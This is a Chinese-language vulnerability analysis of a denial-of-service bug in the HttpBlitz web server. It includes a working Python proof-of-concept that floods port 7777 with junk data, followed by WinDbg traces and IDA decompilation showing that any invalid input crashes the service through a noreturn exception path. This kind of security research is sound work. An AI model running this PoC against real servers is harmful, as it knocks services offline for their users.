作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/65ccbbf1b7620585fb76bd8daa3e53b7-HttpBlitz.msi
PoC:
import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
junk = "\x41" * 80000
def banner():
print "\nHttpBlitz DOS."
print "By: otoy (otoy[at]digital-echidna[dot]org)\n"
if len(sys.argv)!=3:
banner()
print "Usage: %s <ip> <port>\n" %sys.argv[0]
sys.exit(0)
try:
s.connect((sys.argv[1], int(sys.argv[2])))
except:
print "Can\'t connect to server!\n"
sys.exit(0)
s.send(junk+'\r\n')
s.close()
测试环境:
Windows xp sp3
PoC需要输入参数,目标IP和端口,端口后续会提到,是7777,运行后会引发服务端崩溃,提前用Windbg附加进程,可以捕获到崩溃。
漏洞复现
此漏洞是由于HttpBlitz在处理端口接收到的数据时,对不合法数据处理时存在问题,从而导致拒绝服务,这里所说的不合法数据并非畸形字符串,而是不符合Http请求规则的数据都属于不合法数据,下面对此漏洞进行详细分析。
首先运行HttpBlitz,发现进程开了7777端口
我们也主要对这个端口运行的服务进行测试,将Windbg附加到进程上,运行PoC,程序崩溃。
eax=009ffa44 ebx=00000001 ecx=00000000 edx=ffffffff esi=009ffacc edi=009ffe80
eip=7c812aeb esp=009ffa40 ebp=009ffa94 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32
\kernel32.dll -
kernel32!RaiseException+0x52:
7c812aeb 5e pop esi
我们通过kb查看堆栈调用回溯漏洞发生前的函数调用情况。
0:001> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
009ffa94 7857df56 e06d7363 00000001 00000003 kernel32!RaiseException+0x52
*** ERROR: Module load completed but symbols could not be loaded for C:\Program
Files\HttpBlitz\Src\HttpBlitz\Release\HttpBlitz.exe
009ffacc 004048df 009ffae4 00413f3c 38813959 MSVCR90!CxxThrowException+0x48
009ffbbc 004017a3 009ffbcc 38813875 00411f30 HttpBlitz+0x48df
009ffc70 00405972 00000020 38813f39 0012fe10 HttpBlitz+0x17a3
009ffcb0 7c9301bb 78583db8 00390000 00000000 HttpBlitz+0x5972
009ffcb4 78583db8 00390000 00000000 00000014 ntdll!RtlAllocateHeap+0x117
009ffcd4 78583eb8 00000014 71a22ba3 71a1150c MSVCR90!malloc+0x79
009ffcec 0040a85f 00000014 38813ea1 009fff0c MSVCR90!operator new+0x1f
009ffd34 0040a9db 009ffe58 000000a0 0012ff1c HttpBlitz+0xa85f
009ffd78 0040760a 009ffe78 38813e31 0012fe10 HttpBlitz+0xa9db
009ffdc4 004017ba 00000000 00000000 00000000 HttpBlitz+0x760a
00000000 00000000 00000000 00000000 00000000 HttpBlitz+0x17ba
实际上,这个拒绝服务的漏洞不在于数据的内容,而是在于整个程序对异常函数的处理产生了问题,从而导致的这个漏洞的发生,我就从这个函数对此漏洞进行分析。
漏洞分析
首先,我进入CxxThrowException函数之前的主程序领空,通过IDA pro对主程序领空调用位置的函数进行分析。
void __cdecl __noreturn sub_404880(int a1)
{
int v1; // eax@1
char v2; // [sp+8h] [bp-D4h]@2
int v3; // [sp+D8h] [bp-4h]@1
v1 = sub_4050E0();
v3 = 0;
sub_405120(v1);
CxxThrowException(&v2, &unk_413F3C);
}
sub_404880函数是一个noreturn类型的函数,也就是说,当进入CxxThrowException对异常进行处理后,程序将直接结束流程,而不会回到程序,这就是此程序设计最失败的地方,那么什么地方对传输数据的合法性进行判断,我继续向外层函数跟踪。
.text:00401780 mov edx, [eax+4]
.text:00401783 mov eax, [eax]
.text:00401785 push edx
.text:00401786 push eax
.text:00401787 lea ecx, [esp+6Ch+var_60]
.text:0040178B push ecx
.text:0040178C call sub_401370
.text:00401791 lea edx, [esp+64h+var_60]
.text:00401795 push edx
.text:00401796 mov [esp+68h+var_4], 0
.text:0040179E call sub_404880
来到外层函数,看到call函数上下文,通过IDA pro对这段代码进行反编译,观察伪代码部分。
int __cdecl sub_401740(int a1)
{
int result; // eax@1
char v2; // [sp+4h] [bp-60h]@2
int v3; // [sp+60h] [bp-4h]@3
result = a1;
if ( *(_DWORD *)a1 != 0 ? (unsigned int)nullsub_1 : 0 )
{
sub_401370(&v2, *(_DWORD *)a1, *(_DWORD *)(a1 + 4));
v3 = 0;
sub_404880((int)&v2);
}
return result;
}
在sub_401740函数部分进行了一次if语句判断,如果符合条件,则会进入sub_404880函数,而这个函数就是noreturn类型的异常处理函数,接下来我们正向动态跟踪。
事实上,程序对于接收数据的判断结束后,如果进入异常处理流程都会出现这种问题,在原先的PoC中。
junk = "\x41" * 80000
s.send(junk + '\r\n')
发送了80000长度的A作为畸形字符串,而我在测试时发现,如果改成
s.send(' \r\n')
只发送一个空格,或者任意一个字符,甚至不加空格,仍然可以触发这个拒绝服务漏洞,因此,只要是一个非法数据,那么就会引起进程崩溃,我在处理函数sub_401740外层找到了如下代码。
.text:0040562D push eax
.text:0040562E push 0
.text:00405630 lea eax, [esp+48h+var_1C]
.text:00405634 mov ecx, edi
.text:00405636 call sub_4052C0
.text:0040563B lea ecx, [esp+40h+var_24]
.text:0040563F push ecx
.text:00405640 call sub_401740
在00405640地址位置会调用到sub_401740函数,在00405640下断点,重新附加进程,将PoC修改成 s.send(' \r\n') 发送后F5直接运行程序,调试记录如下
0:002> bp 00405640
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd14 edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd14 edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000000 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd14 edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
(684.a30): C++ EH exception - code e06d7363 (first chance)
(684.a30): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=009ffa44 ebx=00000001 ecx=00000000 edx=ffffffff esi=009ffacc edi=009ffe80
eip=7c812aeb esp=009ffa40 ebp=009ffa94 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32\kernel32.dll -
kernel32!RaiseException+0x52:
7c812aeb 5e pop esi
可以看到4次调用后到达漏洞位置,实际上00405640地址位置的call调用是每次接收一个字节,判别后会返回继续处理,而最后一位是\0,因此造成了异常处理,接下来将PoC改成原本的PoC,调试记录如下
(654.8d0): Break instruction exception - code 80000003 (first chance)
eax=7ffd7000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=003fffcc ebp=003ffff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32\ntdll.dll -
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:002> bp 00405640
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\HttpBlitz\Src\HttpBlitz\Release\HttpBlitz.exe
0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
0:001> g
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=009ffc50 edx=00000001 esi=009ffd4c edi=009ffe80
eip=00405640 esp=009ffc30 ebp=009ffc48 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
HttpBlitz+0x5640:
00405640 e8fbc0ffff call HttpBlitz+0x1740 (00401740)
这里调试没有结束,只是以此证明程序这里是单独对字符进行读取,然后判断是否结尾,但对结尾的判断处理存在问题,也就是在if语句中。
if ( *(_DWORD *)a1 != 0 ? (unsigned int)nullsub_1 : 0 )
导致不能正确处理结尾,进入异常处理,引发程序拒绝服务漏洞。